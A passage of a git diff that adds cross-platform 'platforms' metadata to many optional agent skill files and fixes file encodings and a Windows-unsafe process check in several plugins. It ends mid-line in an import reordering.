decks headless with python-pptx. Pairs with excel- version: 1.0.0 author: Anthropic (adapted by Nous Research) license: Apache-2.0 +platforms: [linux, macos, windows] metadata: hermes: tags: [powerpoint, pptx, python-pptx, presentation, finance] diff --git a/optional-skills/health/fitness-nutrition/SKILL.md b/optional-skills/health/fitness-nutrition/SKILL.md index 672f0ccd02b..c1c15a6f4ff 100644 --- a/optional-skills/health/fitness-nutrition/SKILL.md +++ b/optional-skills/health/fitness-nutrition/SKILL.md @@ -6,6 +6,7 @@ description: > foods via USDA FoodData Central. Compute BMI, TDEE, one-rep max, macro splits, and body fat — pure Python, no pip installs. Built for anyone chasing gains, cutting weight, or just trying to eat better. +platforms: [linux, macos, windows] version: 1.0.0 authors: - haileymarshall diff --git a/optional-skills/health/neuroskill-bci/SKILL.md b/optional-skills/health/neuroskill-bci/SKILL.md index fb5c6869897..da6e6b2e4cf 100644 --- a/optional-skills/health/neuroskill-bci/SKILL.md +++ b/optional-skills/health/neuroskill-bci/SKILL.md @@ -6,6 +6,7 @@ description: > heart rate, HRV, sleep staging, and 40+ derived EXG scores) into responses. Requires a BCI wearable (Muse 2/S or OpenBCI) and the NeuroSkill desktop app running locally. +platforms: [linux, macos, windows] version: 1.0.0 author: Hermes Agent + Nous Research license: MIT diff --git a/optional-skills/mcp/fastmcp/SKILL.md b/optional-skills/mcp/fastmcp/SKILL.md index 5b4ea82d1df..f9b1091bbe3 100644 --- a/optional-skills/mcp/fastmcp/SKILL.md +++ b/optional-skills/mcp/fastmcp/SKILL.md @@ -4,6 +4,7 @@ description: Build, test, inspect, install, and deploy MCP servers with FastMCP version: 1.0.0 author: Hermes Agent license: MIT +platforms: [linux, macos, windows] metadata: hermes: tags: [MCP, FastMCP, Python, Tools, Resources, Prompts, Deployment] diff --git a/optional-skills/mcp/mcporter/SKILL.md b/optional-skills/mcp/mcporter/SKILL.md index acb6fcfb0d0..fec8b77d1eb 100644 --- a/optional-skills/mcp/mcporter/SKILL.md +++ b/optional-skills/mcp/mcporter/SKILL.md @@ -4,6 +4,7 @@ description: Use the mcporter CLI to list, configure, auth, and call MCP servers version: 1.0.0 author: community license: MIT +platforms: [linux, macos, windows] metadata: hermes: tags: [MCP, Tools, API, Integrations, Interop] diff --git a/optional-skills/migration/openclaw-migration/SKILL.md b/optional-skills/migration/openclaw-migration/SKILL.md index 03bae5f6024..4d8734f52bc 100644 --- a/optional-skills/migration/openclaw-migration/SKILL.md +++ b/optional-skills/migration/openclaw-migration/SKILL.md @@ -4,6 +4,7 @@ description: Migrate a user's OpenClaw customization footprint into Hermes Agent version: 1.0.0 author: Hermes Agent (Nous Research) license: MIT +platforms: [linux, macos, windows] metadata: hermes: tags: [Migration, OpenClaw, Hermes, Memory, Persona, Import] diff --git a/optional-skills/mlops/accelerate/SKILL.md b/optional-skills/mlops/accelerate/SKILL.md index ad2d6fdd7b6..0c2e69a1d42 100644 --- a/optional-skills/mlops/accelerate/SKILL.md +++ b/optional-skills/mlops/accelerate/SKILL.md @@ -5,6 +5,7 @@ version: 1.0.0 author: Orchestra Research license: MIT dependencies: [accelerate, torch, transformers] +platforms: [linux, macos, windows] metadata: hermes: tags: [Distributed Training, HuggingFace, Accelerate, DeepSpeed, FSDP, Mixed Precision, PyTorch, DDP, Unified API, Simple] diff --git a/optional-skills/mlops/chroma/SKILL.md b/optional-skills/mlops/chroma/SKILL.md index 94cb8ebac54..60284bdb471 100644 --- a/optional-skills/mlops/chroma/SKILL.md +++ b/optional-skills/mlops/chroma/SKILL.md @@ -5,6 +5,7 @@ version: 1.0.0 author: Orchestra Research license: MIT dependencies: [chromadb, sentence-transformers] +platforms: [linux, macos, windows] metadata: hermes: tags: [RAG, Chroma, Vector Database, Embeddings, Semantic Search, Open Source, Self-Hosted, Document Retrieval, Metadata Filtering] diff --git a/optional-skills/mlops/clip/SKILL.md b/optional-skills/mlops/clip/SKILL.md index 96c295bc269..d02335effb5 100644 --- a/optional-skills/mlops/clip/SKILL.md +++ b/optional-skills/mlops/clip/SKILL.md @@ -5,6 +5,7 @@ version: 1.0.0 author: Orchestra Research license: MIT dependencies: [transformers, torch, pillow] +platforms: [linux, macos, windows] metadata: hermes: tags: [Multimodal, CLIP, Vision-Language, Zero-Shot, Image Classification, OpenAI, Image Search, Cross-Modal Retrieval, Content Moderation] diff --git a/optional-skills/mlops/faiss/SKILL.md b/optional-skills/mlops/faiss/SKILL.md index 2e33007b309..a263de0d1b2 100644 --- a/optional-skills/mlops/faiss/SKILL.md +++ b/optional-skills/mlops/faiss/SKILL.md @@ -5,6 +5,7 @@ version: 1.0.0 author: Orchestra Research license: MIT dependencies: [faiss-cpu, faiss-gpu, numpy] +platforms: [linux, macos] metadata: hermes: tags: [RAG, FAISS, Similarity Search, Vector Search, Facebook AI, GPU Acceleration, Billion-Scale, K-NN, HNSW, High Performance, Large Scale] diff --git a/optional-skills/mlops/flash-attention/SKILL.md b/optional-skills/mlops/flash-attention/SKILL.md index 89a860e67d4..eca9e282b30 100644 --- a/optional-skills/mlops/flash-attention/SKILL.md +++ b/optional-skills/mlops/flash-attention/SKILL.md @@ -5,6 +5,7 @@ version: 1.0.0 author: Orchestra Research license: MIT dependencies: [flash-attn, torch, transformers] +platforms: [linux, macos] metadata: hermes: tags: [Optimization, Flash Attention, Attention Optimization, Memory Efficiency, Speed Optimization, Long Context, PyTorch, SDPA, H100, FP8, Transformers] diff --git a/optional-skills/mlops/guidance/SKILL.md b/optional-skills/mlops/guidance/SKILL.md index 12f5139ff95..bb917c645d6 100644 --- a/optional-skills/mlops/guidance/SKILL.md +++ b/optional-skills/mlops/guidance/SKILL.md @@ -5,6 +5,7 @@ version: 1.0.0 author: Orchestra Research license: MIT dependencies: [guidance, transformers] +platforms: [linux, macos, windows] metadata: hermes: tags: [Prompt Engineering, Guidance, Constrained Generation, Structured Output, JSON Validation, Grammar, Microsoft Research, Format Enforcement, Multi-Step Workflows] diff --git a/optional-skills/mlops/hermes-atropos-environments/SKILL.md b/optional-skills/mlops/hermes-atropos-environments/SKILL.md index 5101886b41a..6766c381014 100644 --- a/optional-skills/mlops/hermes-atropos-environments/SKILL.md +++ b/optional-skills/mlops/hermes-atropos-environments/SKILL.md @@ -4,6 +4,7 @@ description: Build, test, and debug Hermes Agent RL environments for Atropos tra version: 1.1.0 author: Hermes Agent license: MIT +platforms: [linux, macos, windows] metadata: hermes: tags: [atropos, rl, environments, training, reinforcement-learning, reward-functions] diff --git a/optional-skills/mlops/huggingface-tokenizers/SKILL.md b/optional-skills/mlops/huggingface-tokenizers/SKILL.md index 9a811ff250d..a8a4c7781fe 100644 --- a/optional-skills/mlops/huggingface-tokenizers/SKILL.md +++ b/optional-skills/mlops/huggingface-tokenizers/SKILL.md @@ -5,6 +5,7 @@ version: 1.0.0 author: Orchestra Research license: MIT dependencies: [tokenizers, transformers, datasets] +platforms: [linux, macos, windows] metadata: hermes: tags: [Tokenization, HuggingFace, BPE, WordPiece, Unigram, Fast Tokenization, Rust, Custom Tokenizer, Alignment Tracking, Production] diff --git a/optional-skills/mlops/instructor/SKILL.md b/optional-skills/mlops/instructor/SKILL.md index 1990fcfe19c..24f44e60697 100644 --- a/optional-skills/mlops/instructor/SKILL.md +++ b/optional-skills/mlops/instructor/SKILL.md @@ -5,6 +5,7 @@ version: 1.0.0 author: Orchestra Research license: MIT dependencies: [instructor, pydantic, openai, anthropic] +platforms: [linux, macos, windows] metadata: hermes: tags: [Prompt Engineering, Instructor, Structured Output, Pydantic, Data Extraction, JSON Parsing, Type Safety, Validation, Streaming, OpenAI, Anthropic] diff --git a/optional-skills/mlops/lambda-labs/SKILL.md b/optional-skills/mlops/lambda-labs/SKILL.md index e5a4e492c61..2a12d413d8b 100644 --- a/optional-skills/mlops/lambda-labs/SKILL.md +++ b/optional-skills/mlops/lambda-labs/SKILL.md @@ -5,6 +5,7 @@ version: 1.0.0 author: Orchestra Research license: MIT dependencies: [lambda-cloud-client>=1.0.0] +platforms: [linux, macos, windows] metadata: hermes: tags: [Infrastructure, GPU Cloud, Training, Inference, Lambda Labs] diff --git a/optional-skills/mlops/llava/SKILL.md b/optional-skills/mlops/llava/SKILL.md index 5fe0b72984a..65380c15710 100644 --- a/optional-skills/mlops/llava/SKILL.md +++ b/optional-skills/mlops/llava/SKILL.md @@ -5,6 +5,7 @@ version: 1.0.0 author: Orchestra Research license: MIT dependencies: [transformers, torch, pillow] +platforms: [linux, macos, windows] metadata: hermes: tags: [LLaVA, Vision-Language, Multimodal, Visual Question Answering, Image Chat, CLIP, Vicuna, Conversational AI, Instruction Tuning, VQA] diff --git a/optional-skills/mlops/modal/SKILL.md b/optional-skills/mlops/modal/SKILL.md index 0b3aca4a46d..23cf7b3850c 100644 --- a/optional-skills/mlops/modal/SKILL.md +++ b/optional-skills/mlops/modal/SKILL.md @@ -5,6 +5,7 @@ version: 1.0.0 author: Orchestra Research license: MIT dependencies: [modal>=0.64.0] +platforms: [linux, macos, windows] metadata: hermes: tags: [Infrastructure, Serverless, GPU, Cloud, Deployment, Modal] diff --git a/optional-skills/mlops/nemo-curator/SKILL.md b/optional-skills/mlops/nemo-curator/SKILL.md index c9262f11a3b..6ab232ee579 100644 --- a/optional-skills/mlops/nemo-curator/SKILL.md +++ b/optional-skills/mlops/nemo-curator/SKILL.md @@ -5,6 +5,7 @@ version: 1.0.0 author: Orchestra Research license: MIT dependencies: [nemo-curator, cudf, dask, rapids] +platforms: [linux, macos] metadata: hermes: tags: [Data Processing, NeMo Curator, Data Curation, GPU Acceleration, Deduplication, Quality Filtering, NVIDIA, RAPIDS, PII Redaction, Multimodal, LLM Training Data] diff --git a/optional-skills/mlops/peft/SKILL.md b/optional-skills/mlops/peft/SKILL.md index 6f920713034..d1158848621 100644 --- a/optional-skills/mlops/peft/SKILL.md +++ b/optional-skills/mlops/peft/SKILL.md @@ -5,6 +5,7 @@ version: 1.0.0 author: Orchestra Research license: MIT dependencies: [peft>=0.13.0, transformers>=4.45.0, torch>=2.0.0, bitsandbytes>=0.43.0] +platforms: [linux, macos, windows] metadata: hermes: tags: [Fine-Tuning, PEFT, LoRA, QLoRA, Parameter-Efficient, Adapters, Low-Rank, Memory Optimization, Multi-Adapter] diff --git a/optional-skills/mlops/pinecone/SKILL.md b/optional-skills/mlops/pinecone/SKILL.md index f115f97f699..8de458501b1 100644 --- a/optional-skills/mlops/pinecone/SKILL.md +++ b/optional-skills/mlops/pinecone/SKILL.md @@ -5,6 +5,7 @@ version: 1.0.0 author: Orchestra Research license: MIT dependencies: [pinecone-client] +platforms: [linux, macos, windows] metadata: hermes: tags: [RAG, Pinecone, Vector Database, Managed Service, Serverless, Hybrid Search, Production, Auto-Scaling, Low Latency, Recommendations] diff --git a/optional-skills/mlops/pytorch-fsdp/SKILL.md b/optional-skills/mlops/pytorch-fsdp/SKILL.md index 9e16f446ff7..680f1791f65 100644 --- a/optional-skills/mlops/pytorch-fsdp/SKILL.md +++ b/optional-skills/mlops/pytorch-fsdp/SKILL.md @@ -5,6 +5,7 @@ version: 1.0.0 author: Orchestra Research license: MIT dependencies: [torch>=2.0, transformers] +platforms: [linux, macos] metadata: hermes: tags: [Distributed Training, PyTorch, FSDP, Data Parallel, Sharding, Mixed Precision, CPU Offloading, FSDP2, Large-Scale Training] diff --git a/optional-skills/mlops/pytorch-lightning/SKILL.md b/optional-skills/mlops/pytorch-lightning/SKILL.md index b55f288ac7f..58f4a9c5b8e 100644 --- a/optional-skills/mlops/pytorch-lightning/SKILL.md +++ b/optional-skills/mlops/pytorch-lightning/SKILL.md @@ -5,6 +5,7 @@ version: 1.0.0 author: Orchestra Research license: MIT dependencies: [lightning, torch, transformers] +platforms: [linux, macos, windows] metadata: hermes: tags: [PyTorch Lightning, Training Framework, Distributed Training, DDP, FSDP, DeepSpeed, High-Level API, Callbacks, Best Practices, Scalable] diff --git a/optional-skills/mlops/qdrant/SKILL.md b/optional-skills/mlops/qdrant/SKILL.md index d6e9d33d31f..64fb526ffa7 100644 --- a/optional-skills/mlops/qdrant/SKILL.md +++ b/optional-skills/mlops/qdrant/SKILL.md @@ -5,6 +5,7 @@ version: 1.0.0 author: Orchestra Research license: MIT dependencies: [qdrant-client>=1.12.0] +platforms: [linux, macos, windows] metadata: hermes: tags: [RAG, Vector Search, Qdrant, Semantic Search, Embeddings, Similarity Search, HNSW, Production, Distributed] diff --git a/optional-skills/mlops/saelens/SKILL.md b/optional-skills/mlops/saelens/SKILL.md index 83060dda651..3a34f352ab1 100644 --- a/optional-skills/mlops/saelens/SKILL.md +++ b/optional-skills/mlops/saelens/SKILL.md @@ -5,6 +5,7 @@ version: 1.0.0 author: Orchestra Research license: MIT dependencies: [sae-lens>=6.0.0, transformer-lens>=2.0.0, torch>=2.0.0] +platforms: [linux, macos, windows] metadata: hermes: tags: [Sparse Autoencoders, SAE, Mechanistic Interpretability, Feature Discovery, Superposition] diff --git a/optional-skills/mlops/simpo/SKILL.md b/optional-skills/mlops/simpo/SKILL.md index 0af7b122c83..811a01a2a75 100644 --- a/optional-skills/mlops/simpo/SKILL.md +++ b/optional-skills/mlops/simpo/SKILL.md @@ -5,6 +5,7 @@ version: 1.0.0 author: Orchestra Research license: MIT dependencies: [torch, transformers, datasets, trl, accelerate] +platforms: [linux, macos, windows] metadata: hermes: tags: [Post-Training, SimPO, Preference Optimization, Alignment, DPO Alternative, Reference-Free, LLM Alignment, Efficient Training] diff --git a/optional-skills/mlops/slime/SKILL.md b/optional-skills/mlops/slime/SKILL.md index 5335faff65a..62fdc5b1982 100644 --- a/optional-skills/mlops/slime/SKILL.md +++ b/optional-skills/mlops/slime/SKILL.md @@ -5,6 +5,7 @@ version: 1.0.0 author: Orchestra Research license: MIT dependencies: [sglang-router>=0.2.3, ray, torch>=2.0.0, transformers>=4.40.0] +platforms: [linux, macos] metadata: hermes: tags: [Reinforcement Learning, Megatron-LM, SGLang, GRPO, Post-Training, GLM] diff --git a/optional-skills/mlops/stable-diffusion/SKILL.md b/optional-skills/mlops/stable-diffusion/SKILL.md index d3932061b15..84243bc802c 100644 --- a/optional-skills/mlops/stable-diffusion/SKILL.md +++ b/optional-skills/mlops/stable-diffusion/SKILL.md @@ -5,6 +5,7 @@ version: 1.0.0 author: Orchestra Research license: MIT dependencies: [diffusers>=0.30.0, transformers>=4.41.0, accelerate>=0.31.0, torch>=2.0.0] +platforms: [linux, macos, windows] metadata: hermes: tags: [Image Generation, Stable Diffusion, Diffusers, Text-to-Image, Multimodal, Computer Vision] diff --git a/optional-skills/mlops/tensorrt-llm/SKILL.md b/optional-skills/mlops/tensorrt-llm/SKILL.md index 056511699e5..c5a90ee0e88 100644 --- a/optional-skills/mlops/tensorrt-llm/SKILL.md +++ b/optional-skills/mlops/tensorrt-llm/SKILL.md @@ -5,6 +5,7 @@ version: 1.0.0 author: Orchestra Research license: MIT dependencies: [tensorrt-llm, torch] +platforms: [linux, macos] metadata: hermes: tags: [Inference Serving, TensorRT-LLM, NVIDIA, Inference Optimization, High Throughput, Low Latency, Production, FP8, INT4, In-Flight Batching, Multi-GPU] diff --git a/optional-skills/mlops/torchtitan/SKILL.md b/optional-skills/mlops/torchtitan/SKILL.md index f7dcc60ff63..97dc925fc10 100644 --- a/optional-skills/mlops/torchtitan/SKILL.md +++ b/optional-skills/mlops/torchtitan/SKILL.md @@ -5,6 +5,7 @@ version: 1.0.0 author: Orchestra Research license: MIT dependencies: [torch>=2.6.0, torchtitan>=0.2.0, torchao>=0.5.0] +platforms: [linux, macos] metadata: hermes: tags: [Model Architecture, Distributed Training, TorchTitan, FSDP2, Tensor Parallel, Pipeline Parallel, Context Parallel, Float8, Llama, Pretraining] diff --git a/optional-skills/mlops/whisper/SKILL.md b/optional-skills/mlops/whisper/SKILL.md index ba963a8b76a..b4ab88fdf4c 100644 --- a/optional-skills/mlops/whisper/SKILL.md +++ b/optional-skills/mlops/whisper/SKILL.md @@ -5,6 +5,7 @@ version: 1.0.0 author: Orchestra Research license: MIT dependencies: [openai-whisper, transformers, torch] +platforms: [linux, macos] metadata: hermes: tags: [Whisper, Speech Recognition, ASR, Multimodal, Multilingual, OpenAI, Speech-To-Text, Transcription, Translation, Audio Processing] diff --git a/optional-skills/productivity/canvas/SKILL.md b/optional-skills/productivity/canvas/SKILL.md index 88299d0abf2..fbcfec5853a 100644 --- a/optional-skills/productivity/canvas/SKILL.md +++ b/optional-skills/productivity/canvas/SKILL.md @@ -4,6 +4,7 @@ description: Canvas LMS integration — fetch enrolled courses and assignments u version: 1.0.0 author: community license: MIT +platforms: [linux, macos, windows] prerequisites: env_vars: [CANVAS_API_TOKEN, CANVAS_BASE_URL] metadata: diff --git a/optional-skills/productivity/shop-app/SKILL.md b/optional-skills/productivity/shop-app/SKILL.md index d67fbd5f12e..f4a0cd9f19c 100644 --- a/optional-skills/productivity/shop-app/SKILL.md +++ b/optional-skills/productivity/shop-app/SKILL.md @@ -4,6 +4,7 @@ description: "Shop.app: product search, order tracking, returns, reorder." version: 0.0.28 author: community license: MIT +platforms: [linux, macos, windows] prerequisites: commands: [curl] metadata: diff --git a/optional-skills/productivity/shopify/SKILL.md b/optional-skills/productivity/shopify/SKILL.md index 6e8331edc65..0062674069a 100644 --- a/optional-skills/productivity/shopify/SKILL.md +++ b/optional-skills/productivity/shopify/SKILL.md @@ -4,6 +4,7 @@ description: Shopify Admin & Storefront GraphQL APIs via curl. Products, orders, version: 1.0.0 author: community license: MIT +platforms: [linux, macos, windows] prerequisites: env_vars: [SHOPIFY_ACCESS_TOKEN, SHOPIFY_STORE_DOMAIN] commands: [curl, jq] diff --git a/optional-skills/productivity/siyuan/SKILL.md b/optional-skills/productivity/siyuan/SKILL.md index 49c5d61858e..0417ba6c4c5 100644 --- a/optional-skills/productivity/siyuan/SKILL.md +++ b/optional-skills/productivity/siyuan/SKILL.md @@ -4,6 +4,7 @@ description: SiYuan Note API for searching, reading, creating, and managing bloc version: 1.0.0 author: FEUAZUR license: MIT +platforms: [linux, macos, windows] metadata: hermes: tags: [SiYuan, Notes, Knowledge Base, PKM, API] diff --git a/optional-skills/productivity/telephony/SKILL.md b/optional-skills/productivity/telephony/SKILL.md index 6c457592a9a..b3d1d5884eb 100644 --- a/optional-skills/productivity/telephony/SKILL.md +++ b/optional-skills/productivity/telephony/SKILL.md @@ -4,6 +4,7 @@ description: Give Hermes phone capabilities without core tool changes. Provision version: 1.0.0 author: Nous Research license: MIT +platforms: [linux, macos, windows] metadata: hermes: tags: [telephony, phone, sms, mms, voice, twilio, bland.ai, vapi, calling, texting] diff --git a/optional-skills/research/domain-intel/SKILL.md b/optional-skills/research/domain-intel/SKILL.md index 8b548707432..0c55c5c44d4 100644 --- a/optional-skills/research/domain-intel/SKILL.md +++ b/optional-skills/research/domain-intel/SKILL.md @@ -1,6 +1,7 @@ --- name: domain-intel description: Passive domain reconnaissance using Python stdlib. Subdomain discovery, SSL certificate inspection, WHOIS lookups, DNS records, domain availability checks, and bulk multi-domain analysis. No API keys required. +platforms: [linux, macos, windows] --- # Domain Intelligence — Passive OSINT diff --git a/optional-skills/research/drug-discovery/SKILL.md b/optional-skills/research/drug-discovery/SKILL.md index dc3bd3e7bb8..1c5d0ce29ad 100644 --- a/optional-skills/research/drug-discovery/SKILL.md +++ b/optional-skills/research/drug-discovery/SKILL.md @@ -7,6 +7,7 @@ description: > OpenFDA, interpret ADMET profiles, and assist with lead optimization. Use for medicinal chemistry questions, molecule property analysis, clinical pharmacology, and open-science drug research. +platforms: [linux, macos, windows] version: 1.0.0 author: bennytimz license: MIT diff --git a/optional-skills/research/duckduckgo-search/SKILL.md b/optional-skills/research/duckduckgo-search/SKILL.md index c24fc1b9564..83b14d95150 100644 --- a/optional-skills/research/duckduckgo-search/SKILL.md +++ b/optional-skills/research/duckduckgo-search/SKILL.md @@ -4,6 +4,7 @@ description: Free web search via DuckDuckGo — text, news, images, videos. No A version: 1.3.0 author: gamedevCloudy license: MIT +platforms: [linux, macos, windows] metadata: hermes: tags: [search, duckduckgo, web-search, free, fallback] diff --git a/optional-skills/research/gitnexus-explorer/SKILL.md b/optional-skills/research/gitnexus-explorer/SKILL.md index d57c896ed5e..c583404efbf 100644 --- a/optional-skills/research/gitnexus-explorer/SKILL.md +++ b/optional-skills/research/gitnexus-explorer/SKILL.md @@ -4,6 +4,7 @@ description: Index a codebase with GitNexus and serve an interactive knowledge g version: 1.0.0 author: Hermes Agent + Teknium license: MIT +platforms: [linux, macos, windows] metadata: hermes: tags: [gitnexus, code-intelligence, knowledge-graph, visualization] diff --git a/optional-skills/research/parallel-cli/SKILL.md b/optional-skills/research/parallel-cli/SKILL.md index ee8f15a83e3..d94e57f2657 100644 --- a/optional-skills/research/parallel-cli/SKILL.md +++ b/optional-skills/research/parallel-cli/SKILL.md @@ -4,6 +4,7 @@ description: Optional vendor skill for Parallel CLI — agent-native web search, version: 1.1.0 author: Hermes Agent license: MIT +platforms: [linux, macos, windows] metadata: hermes: tags: [Research, Web, Search, Deep-Research, Enrichment, CLI] diff --git a/optional-skills/research/scrapling/SKILL.md b/optional-skills/research/scrapling/SKILL.md index aaa38c90a19..e10f4f83270 100644 --- a/optional-skills/research/scrapling/SKILL.md +++ b/optional-skills/research/scrapling/SKILL.md @@ -4,6 +4,7 @@ description: Web scraping with Scrapling - HTTP fetching, stealth browser automa version: 1.0.0 author: FEUAZUR license: MIT +platforms: [linux, macos, windows] metadata: hermes: tags: [Web Scraping, Browser, Cloudflare, Stealth, Crawling, Spider] diff --git a/optional-skills/research/searxng-search/SKILL.md b/optional-skills/research/searxng-search/SKILL.md index c2d170591b6..07e32c0b9c3 100644 --- a/optional-skills/research/searxng-search/SKILL.md +++ b/optional-skills/research/searxng-search/SKILL.md @@ -4,6 +4,7 @@ description: Free meta-search via SearXNG — aggregates results from 70+ search version: 1.0.0 author: hermes-agent license: MIT +platforms: [linux, macos] metadata: hermes: tags: [search, searxng, meta-search, self-hosted, free, fallback] diff --git a/optional-skills/security/1password/SKILL.md b/optional-skills/security/1password/SKILL.md index 37fb21f4eb2..2a6cc8e18b0 100644 --- a/optional-skills/security/1password/SKILL.md +++ b/optional-skills/security/1password/SKILL.md @@ -4,6 +4,7 @@ description: Set up and use 1Password CLI (op). Use when installing the CLI, ena version: 1.0.0 author: arceus77-7, enhanced by Hermes Agent license: MIT +platforms: [linux, macos, windows] metadata: hermes: tags: [security, secrets, 1password, op, cli] diff --git a/optional-skills/security/oss-forensics/SKILL.md b/optional-skills/security/oss-forensics/SKILL.md index 9b0cefff6fc..c06e0fc92c7 100644 --- a/optional-skills/security/oss-forensics/SKILL.md +++ b/optional-skills/security/oss-forensics/SKILL.md @@ -5,6 +5,7 @@ description: | Covers deleted commit recovery, force-push detection, IOC extraction, multi-source evidence collection, hypothesis formation/validation, and structured forensic reporting. Inspired by RAPTOR's 1800+ line OSS Forensics system. +platforms: [linux, macos, windows] category: security triggers: - "investigate this repository" diff --git a/optional-skills/security/sherlock/SKILL.md b/optional-skills/security/sherlock/SKILL.md index 7250246aa3a..fcac3a92d7a 100644 --- a/optional-skills/security/sherlock/SKILL.md +++ b/optional-skills/security/sherlock/SKILL.md @@ -4,6 +4,7 @@ description: OSINT username search across 400+ social networks. Hunt down social version: 1.0.0 author: unmodeled-tyler license: MIT +platforms: [linux, macos, windows] metadata: hermes: tags: [osint, security, username, social-media, reconnaissance] diff --git a/optional-skills/web-development/page-agent/SKILL.md b/optional-skills/web-development/page-agent/SKILL.md index caab19901fe..a2b08cf8cfa 100644 --- a/optional-skills/web-development/page-agent/SKILL.md +++ b/optional-skills/web-development/page-agent/SKILL.md @@ -4,6 +4,7 @@ description: Embed alibaba/page-agent into your own web application — a pure-J version: 1.0.0 author: Hermes Agent license: MIT +platforms: [linux, macos, windows] metadata: hermes: tags: [web, javascript, agent, browser, gui, alibaba, embed, copilot, saas] diff --git a/plugins/context_engine/__init__.py b/plugins/context_engine/__init__.py index 5321ad299ae..da9206dc349 100644 --- a/plugins/context_engine/__init__.py +++ b/plugins/context_engine/__init__.py @@ -54,7 +54,7 @@ def discover_context_engines() -> List[Tuple[str, str, bool]]: if yaml_file.exists(): try: import yaml - with open(yaml_file) as f: + with open(yaml_file, encoding="utf-8-sig") as f: meta = yaml.safe_load(f) or {} desc = meta.get("description", "") except Exception: diff --git a/plugins/disk-cleanup/disk_cleanup.py b/plugins/disk-cleanup/disk_cleanup.py index cef2698316f..b7f748e7f21 100755 --- a/plugins/disk-cleanup/disk_cleanup.py +++ b/plugins/disk-cleanup/disk_cleanup.py @@ -90,7 +90,7 @@ def _log(message: str) -> None: log_file = get_log_file() log_file.parent.mkdir(parents=True, exist_ok=True) ts = datetime.now(timezone.utc).strftime("%Y-%m-%d %H:%M:%S") - with open(log_file, "a") as f: + with open(log_file, "a", encoding="utf-8") as f: f.write(f"[{ts}] {message}\n") except OSError: # Never let the audit log break the agent loop. diff --git a/plugins/google_meet/process_manager.py b/plugins/google_meet/process_manager.py index a5da48b83bb..0709c6a1f94 100644 --- a/plugins/google_meet/process_manager.py +++ b/plugins/google_meet/process_manager.py @@ -70,14 +70,11 @@ def _clear_active() -> None: def _pid_alive(pid: int) -> bool: - try: - os.kill(pid, 0) - except ProcessLookupError: - return False - except PermissionError: - # Process exists but we can't signal it — treat as alive. - return True - return True + # ``os.kill(pid, 0)`` is NOT a no-op on Windows (bpo-14484) — it + # routes through GenerateConsoleCtrlEvent and can kill the target. + # Use the cross-platform existence check. + from gateway.status import _pid_exists + return _pid_exists(pid) # --------------------------------------------------------------------------- @@ -313,7 +310,7 @@ def stop(*, reason: str = "requested") -> Dict[str, Any]: time.sleep(0.5) if _pid_alive(pid): try: - os.kill(pid, signal.SIGKILL) + os.kill(pid, signal.SIGKILL) # windows-footgun: ok — POSIX-only plugin (google_meet registers no-op on Windows; see __init__.py) except ProcessLookupError: pass diff --git a/plugins/google_meet/realtime/openai_client.py b/plugins/google_meet/realtime/openai_client.py index 258723180a5..e9738d106ae 100644 --- a/plugins/google_meet/realtime/openai_client.py +++ b/plugins/google_meet/realtime/openai_client.py @@ -292,7 +292,7 @@ class RealtimeSpeaker: return self.processed_path.parent.mkdir(parents=True, exist_ok=True) record = {"id": entry.get("id"), "text": entry.get("text", ""), "result": result} - with open(self.processed_path, "a") as fp: + with open(self.processed_path, "a", encoding="utf-8") as fp: fp.write(json.dumps(record) + "\n") # ── main loop ──────────────────────────────────────────────────────── diff --git a/plugins/memory/__init__.py b/plugins/memory/__init__.py index 0d714f64dd3..2398f2ebd87 100644 --- a/plugins/memory/__init__.py +++ b/plugins/memory/__init__.py @@ -135,7 +135,7 @@ def discover_memory_providers() -> List[Tuple[str, str, bool]]: if yaml_file.exists(): try: import yaml - with open(yaml_file) as f: + with open(yaml_file, encoding="utf-8-sig") as f: meta = yaml.safe_load(f) or {} desc = meta.get("description", "") except Exception: @@ -381,7 +381,7 @@ def discover_plugin_cli_commands() -> List[dict]: if yaml_file.exists(): try: import yaml - with open(yaml_file) as f: + with open(yaml_file, encoding="utf-8-sig") as f: meta = yaml.safe_load(f) or {} desc = meta.get("description", "") if desc: diff --git a/plugins/memory/hindsight/__init__.py b/plugins/memory/hindsight/__init__.py index b7751a918ea..20772844f16 100644 --- a/plugins/memory/hindsight/__init__.py +++ b/plugins/memory/hindsight/__init__.py @@ -1215,7 +1215,7 @@ class HindsightMemoryProvider(MemoryProvider): # would capture output from other threads. import hindsight_embed.daemon_embed_manager as dem from rich.console import Console - dem.console = Console(file=open(log_path, "a"), force_terminal=False) + dem.console = Console(file=open(log_path, "a", encoding="utf-8"), force_terminal=False) client = self._get_client() profile = self._config.get("profile", "hermes") @@ -1231,15 +1231,15 @@ class HindsightMemoryProvider(MemoryProvider): if config_changed: profile_env = _materialize_embedded_profile_env(self._config) if client._manager.is_running(profile): - with open(log_path, "a") as f: + with open(log_path, "a", encoding="utf-8") as f: f.write("\n=== Config changed, restarting daemon ===\n") client._manager.stop(profile) client._ensure_started() - with open(log_path, "a") as f: + with open(log_path, "a", encoding="utf-8") as f: f.write("\n=== Daemon started successfully ===\n") except Exception as e: - with open(log_path, "a") as f: + with open(log_path, "a", encoding="utf-8") as f: f.write(f"\n=== Daemon startup failed: {e} ===\n") traceback.print_exc(file=f) diff --git a/plugins/memory/holographic/__init__.py b/plugins/memory/holographic/__init__.py index dc9ee530c59..681ce7660ce 100644 --- a/plugins/memory/holographic/__init__.py +++ b/plugins/memory/holographic/__init__.py @@ -101,7 +101,7 @@ def _load_plugin_config() -> dict: return {} try: import yaml - with open(config_path) as f: + with open(config_path, encoding="utf-8-sig") as f: all_config = yaml.safe_load(f) or {} return cfg_get(all_config, "plugins", "hermes-memory-store", default={}) or {} except Exception: @@ -136,11 +136,11 @@ class HolographicMemoryProvider(MemoryProvider): import yaml existing = {} if config_path.exists(): - with open(config_path) as f: + with open(config_path, encoding="utf-8-sig") as f: existing = yaml.safe_load(f) or {} existing.setdefault("plugins", {}) existing["plugins"]["hermes-memory-store"] = values - with open(config_path, "w") as f: + with open(config_path, "w", encoding="utf-8") as f: yaml.dump(existing, f, default_flow_style=False) except Exception: pass diff --git a/plugins/platforms/google_chat/adapter.py b/plugins/platforms/google_chat/adapter.py index c371082707f..bfc63bf9eed 100644 --- a/plugins/platforms/google_chat/adapter.py +++ b/plugins/platforms/google_chat/adapter.py @@ -2936,15 +2936,14 @@ def interactive_setup() -> None: prompt for env vars, persist them to ``~/.hermes/.env`` so the next gateway restart picks them up. """ - from hermes_cli.config import ( - get_env_value, - save_env_value, - prompt, - prompt_yes_no, + from hermes_cli.cli_output import ( print_info, print_success, print_warning, + prompt, + prompt_yes_no, ) + from hermes_cli.config import get_env_value, save_env_value existing_sub = 